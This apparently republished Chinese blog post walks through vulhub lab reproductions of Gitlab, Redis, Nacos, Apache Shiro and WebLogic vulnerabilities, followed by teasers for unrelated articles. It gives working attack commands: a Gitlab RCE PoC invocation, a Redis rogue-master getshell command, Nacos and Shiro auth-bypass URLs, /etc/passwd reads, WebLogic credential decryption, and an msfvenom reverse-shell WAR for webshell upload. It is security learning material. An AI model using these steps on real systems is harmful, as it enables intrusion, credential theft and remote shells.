Gitlab、Redis、Nacos、Apache Shiro、Gitlab、weblogic相关漏洞

文章目录

  • 一、Gitlab远程代码执行（CVE-2021-22205）
  • 二、Redis主从复制远程命令执行
  • 三、Nacos认证绕过漏洞（CVE-2021-29441）
  • 四、Apache Shiro认证绕过漏洞（CVE-2020-1957）
  • 五、Gitlab任意文件读取漏洞（CVE-2016-9086）
  • 六、weblogic文件读取漏洞
    • 1、弱口令
    • 2、任意文件读取漏洞
    • 3、读取后台用户密文与密钥文件
    • 4、后台上传webshell

一、Gitlab远程代码执行（CVE-2021-22205）

docker-compose up -d # 开启容器

直接使用该脚本poc.py，命令如下：

python poc.py http://192.168.92.6:8080 "touch /tmp/success"

在这里插入图片描述

在这里插入图片描述

二、Redis主从复制远程命令执行

docker-compose up -d # 开启容器
redis-cli -h 127.0.0.1 # 连接redis数据库，会发现未授权

在这里插入图片描述
redis-rogue-getshel

python redis-master.py -r 192.168.92.6 -p 6379 -L 192.168.92.6 -P 8888 -f RedisModulesSDK/exp.so -c "id"

在这里插入图片描述

三、Nacos认证绕过漏洞（CVE-2021-29441）

如果nacos服务没有启动，可以使用docker-compose restart nacos。

  1. 访问http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=10可以查看用户名和密码，注意：User-Agent: Nacos-Server。
    在这里插入图片描述
  2. 添加新用户http://127.0.0.1:8848/nacos/v1/auth/users?username=vulhub&password=vulhub，注意：POST数据包。
    在这里插入图片描述
  3. 登录Nacoshttp://127.0.0.1:8848/nacos#login
    在这里插入图片描述
    在这里插入图片描述

四、Apache Shiro认证绕过漏洞（CVE-2020-1957）

Apache Shiro是一款开源安全框架，提供身份验证、授权、密码学和会话管理。
访问192.168.92.16:8080/admin/，显示302跳转
在这里插入图片描述
构造恶意路径，访问192.168.92.16:8080/xxx/..;/admin/,可绕过权限校验，访问到管理页面：
在这里插入图片描述

五、Gitlab任意文件读取漏洞（CVE-2016-9086）

访问192.168.92.16:8080，用户名为root，密码为vulhub123456。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在导入页面，将test.tar.gz上传，将会读取到/etc/passwd文件内容：
在这里插入图片描述

六、weblogic文件读取漏洞

1、弱口令

访问192.168.92.6:7001/console，用户名为weblogic，密码为Oracle@123。
在这里插入图片描述
常见弱口令

2、任意文件读取漏洞

访问192.168.92.6:7001/hello/file.jsp?path=/etc/passwd，实现任意文件下载。
在这里插入图片描述

3、读取后台用户密文与密钥文件

weblogic密码使用AES（老版本3DES）加密，对称加密可解密，只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下，名为SerializedSystemIni.dat和config.xml，在本环境中为./security/SerializedSystemIni.dat和./config/config.xml。

`SerializedSystemIni.dat`是一个二进制文件，所以一定要用burpsuite来读取，用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码，右键`copy to file`就可以保存成一个文件：

在这里插入图片描述
config.xml是base_domain的全局配置文件，所以乱七八糟的内容比较多，找到其中的<node-manager-password-encrypted>的值，即为加密后的管理员密码：
在这里插入图片描述
在这里插入图片描述

注意：

  1. 在保存这个test.dat时，最好在HEX模式下进行复制。不然可能回报这个错：Null input buffer
    在这里插入图片描述
  2. 如果报错：PBEWITHSHAAND128BITRC2-CBC SecretKeyFactory not available，需要手动下载bcprov-jdk15on-1.56.jar，并放在<java目录>/jre/lib/ext/目录下。

4、后台上传webshell

在这里插入图片描述
在这里插入图片描述
使用msfvenom生成war包的反弹shell

msfvenom -p java/shell_reverse_tcp LHOST=192.168.92.6 LPORT=4444 -f war -o shell.war

在这里插入图片描述

在这里插入图片描述
然后疯狂下一步，直到完成。点击我们刚刚部署的war包，然后启动即可获取反弹shell。
在这里插入图片描述

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/diannao/12481.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

3.TCP的三次握手和四次挥手

3.TCP的三次握手和四次挥手

一、前置知识 TCP是一种面向连接的、可靠的、基于字节流的传输层通信协议。在传输数据前通信双方必须建立连接&#xff08;所谓连接&#xff0c;是指客户端和服务端各自保存一份关于对方的信息&#xff0c;比如ip地址&#xff0c;端口号等&#xff09;。TCP通过三次握手建立一个…
阅读更多...
从零开始：C++ String类的模拟实现

从零开始：C++ String类的模拟实现

文章目录 引言1.类的基本结构2.构造函数和析构函数3.基本成员函数总结 引言 在C编程中&#xff0c;字符串操作是非常常见且重要的任务。标准库中的std::string类提供了丰富且强大的功能&#xff0c;使得字符串处理变得相对简单。然而&#xff0c;对于学习C的开发者来说&#x…
阅读更多...
C语言----斐波那契数列（附源代码）

C语言----斐波那契数列（附源代码）

各位看官们好&#xff0c;当我写了上一篇博客杨辉三角后&#xff0c;有一些看官叫我讲一下斐波那契数列。对于这个大家应该是有了解的。最简单的规律就是f(n)f(n-2)f(n-1)。就是当前是前两项之和&#xff0c;然后下标1和0都是1.从第三项开始计算的。那么我们知道规律&#xff0…
阅读更多...
位图（c++）

位图（c++）

文章目录 1.位图概念2.位图的实现3.应用&#xff08;解决整形存在或次数问题&#xff09;3.1存在问题3.2次数问题 5.搜索的方法对比&#xff1a; 1.位图概念 和哈希一样&#xff0c;都是一个表来记录某个元素的个数或者存在与否&#xff1b;不同的是哈希使用的计算机定义的完整…
阅读更多...
旅游卡创业的机会在哪里？

旅游卡创业的机会在哪里？

在当今社会&#xff0c;旅游已经成为了人们休闲娱乐的重要方式之一。 随着经济的发展和人们生活水平的提高&#xff0c;越来越多的人开始追求更高品质的旅游体验。因此&#xff0c;旅游卡创业应运而生&#xff0c;为游客提供了更加便捷、实惠的旅游服务。那么&#xff0c;旅游…
阅读更多...
群辉部署小雅alist实现视听盛会

群辉部署小雅alist实现视听盛会

最近群辉搭建起来了&#xff0c;开始整蛊影视库&#xff0c;之前搞过nastool。这次折腾下小雅alist。 1.下载并安装 直接在群辉的docker里面下载映像 主要映射下端口和文件夹 #token mytoken.txt 获取地址&#xff1a;https://alist.nn.ci/zh/guide/drivers/aliyundriv…
阅读更多...
Git使用（2）：远程仓库

Git使用（2）：远程仓库

一、创建远程仓库 登录码云Gitee - 基于 Git 的代码托管和研发协作平台。 点击右上角&#xff0c;新建仓库。 创建完成&#xff0c;复制仓库地址接下来要使用。 二、将idea项目推送到码云 首先创建本地仓库VCS -> Create Git Repository。然后选择Manage Remotes&#xff0…
阅读更多...
服务器是网络中的重要设备

服务器是网络中的重要设备

众所周知&#xff0c;服务器是网络中的重要设备&#xff0c;要接受少至几十人、多至成千上万人的访问&#xff0c;因此对服务器具有大数据量的快速吞吐、超强的稳定性、长时间运行等严格要求。但是&#xff0c;今天我们了解的是GPU服务器&#xff0c;很明显&#xff0c;从字面上…
阅读更多...
机器学习的目的

机器学习的目的

机器学习的目的是让计算机能够从数据中学习并改善性能&#xff0c;以执行特定的任务而无需明确的编程指令。具体来说&#xff0c;机器学习旨在实现以下几个主要目标&#xff1a; 1. 预测与泛化&#xff1a; 机器学习的一个主要目标是通过学习数据的模式和特征&#xff0c;从而对…
阅读更多...
旧衣回收，整个项目环节详细拆解

旧衣回收，整个项目环节详细拆解

日常旧衣服很多人果断丢垃圾箱&#xff0c;殊不知这背后隐藏着商机。大把人都在掘金的项目。 旧衣回收&#xff0c;眼下市场覆盖率才占10%。绝对的蓝海&#xff0c;干这种项目成本很低。小到自家的旧衣回收能换小钱&#xff0c;大到开公司做分拣捞利润。 说到这里&#xff0c…
阅读更多...
用友hr软件统一认证与致远OA单点登录身份周期管理怎么做

用友hr软件统一认证与致远OA单点登录身份周期管理怎么做

一、引言 随着企业信息化建设的深入&#xff0c;各类管理软件如用友HR、致远OA等已经成为事业单位日常运营不可或缺的工具。用友HR软件以其强大的人力资源管理功能&#xff0c;帮助企事业单位实现员工信息的集中管理&#xff1b;而致远OA则以其便捷的办公流程管理&#xff0c;…
阅读更多...
机器学习概念：一些基本概念

机器学习概念：一些基本概念

目录 数据集 (Dataset)&#xff1a;用于训练和评估模型的数据集合。 特征 (Feature)&#xff1a;描述数据的属性或变量&#xff0c;用于训练模型。 标签 (Label)&#xff1a;在监督学习中&#xff0c;与输入数据相关联的输出结果。 模型 (Model)&#xff1a;对数据的某种假…
阅读更多...
springcloud简单了解及上手

springcloud简单了解及上手

springcloud微服务框架简单上手 文章目录 springcloud微服务框架简单上手一、SpringCloud简单介绍1.1 单体架构1.2 分布式架构1.3 微服务 二、SpringCloud与SpringBoot的版本对应关系2022.x 分支2021.x 分支2.2.x 分支 三、Nacos注册中心3.1 认识和安装Nacos3.2 配置Nacos3.3 n…
阅读更多...
C++ 并发编程指南（11）原子操作 | 11.6、计算机内存结构

C++ 并发编程指南（11）原子操作 | 11.6、计算机内存结构

文章目录 一、计算机内存结构1、内存的基本组成2、内存的类型3、内存的结构层次4、CPU架构5、局部性原理6、总结 前言 在探讨计算机的运行效率和数据处理能力时&#xff0c;内存结构无疑是一个至关重要的部分。内存&#xff0c;作为计算机系统中的关键组件&#xff0c;承担着存…
阅读更多...
vue从入门到精通(一)：Vue模板语法

vue从入门到精通(一)：Vue模板语法

一&#xff0c;模板语法 Vue 使用一种基于 HTML 的模板语法&#xff0c;使我们能够声明式地将其组件实例的数据绑定到呈现的 DOM 上。所有的Vue模板都是语法层面合法的 HTML&#xff0c;可以被符合规范的浏览器和 HTML 解析器解析。 Vue模板语法有2大类: 插值语法: 功能:用于解…
阅读更多...
请介绍下H264的多参考帧技术及其应用场景，并请说明下为什么要有多参考帧？

请介绍下H264的多参考帧技术及其应用场景，并请说明下为什么要有多参考帧？

H.264&#xff08;也称为H.264/AVC&#xff09;的多参考帧机制是其编码效率和质量提升的关键部分。这个机制允许编码器在编码当前帧时&#xff0c;参考多个之前已编码的帧。这种多参考帧的方法为编码器提供了更多的选择&#xff0c;使其能够更准确地预测当前帧的内容&#xff0…
阅读更多...
【保姆级介绍自动化的讲解】

【保姆级介绍自动化的讲解】

&#x1f308;个人主页: 程序员不想敲代码啊 &#x1f3c6;CSDN优质创作者&#xff0c;CSDN实力新星&#xff0c;CSDN博客专家 &#x1f44d;点赞⭐评论⭐收藏 &#x1f91d;希望本文对您有所裨益&#xff0c;如有不足之处&#xff0c;欢迎在评论区提出指正&#xff0c;让我们共…
阅读更多...
SCP‘s Story

SCP‘s Story

越过“第二夜”的星星&#xff0c;越过“迈克尔连续线”和“禁运线”&#xff0c;在“煤炭之路”最远的一站&#xff0c;有一颗眼泪。这不是织物或纸上的撕裂&#xff0c;而是现实中的撕裂&#xff0c;是物理定律和常识失效的地方。 有些人称之为黑洞&#xff0c;银河系中最大…
阅读更多...
【C语言】4.C语言数组（2）

【C语言】4.C语言数组（2）

文章目录 6. 二维数组的创建6.1 ⼆维数组的概念6.2 ⼆维数组的创建 7. 二维数组的初始化7.1 不完全初始化7.2 完全初始化7.3 按照⾏初始化7.4 初始化时省略⾏&#xff0c;但是不能省略列 8. 二维数组的使用8.1 ⼆维数组的下标8.2 ⼆维数组的输⼊和输出 9. 二维数组在内存中的存…
阅读更多...
利用一段代码轻松绕过PHP授权系统

利用一段代码轻松绕过PHP授权系统

利用一段代码轻松绕过PHP授权系统 第一步&#xff1a;首先你需要改名全局文件 比如说全局文件 common.php&#xff0c;那么 你将他改为core.php 第二步&#xff1a;创建文件 创建一个文件&#xff0c;和改名前的全局文件名称一样&#xff0c;然后把以下代码复制进去就OK了 …
阅读更多...
最新文章

Copyright @ 2022~2023